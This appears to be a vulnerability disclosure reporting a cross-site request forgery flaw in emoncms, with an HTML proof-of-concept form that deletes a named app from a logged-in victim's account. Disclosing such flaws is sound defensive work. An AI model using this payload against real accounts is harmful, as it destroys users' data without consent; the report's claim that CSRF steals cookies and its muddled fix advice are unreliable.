Cross-Site Request Forgery (CSRF) in emoncms/emoncms
Jul 15th 2021
In CSRF attack if your users going to attacker website and click the mallicouse link then they able to steal users cookie, submit unwanted date, ....
🕵️♂️ Proof of Concept
1.you login in your account 2.you make a file contain the following html file. 3.open html ( as victim site) 4.App named "My Electric" going to be deleted after click the "Submit request"
// PoC.html <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://emoncms.org/app/remove"> <input type="hidden" name="name" value="My Electric" /> <input type="submit" value="Submit request" /> </form> </body> </html>
the attacker can delete any App in the victim user's account.
you can set cookies on a custom header. this is a fastest way that you can protect your users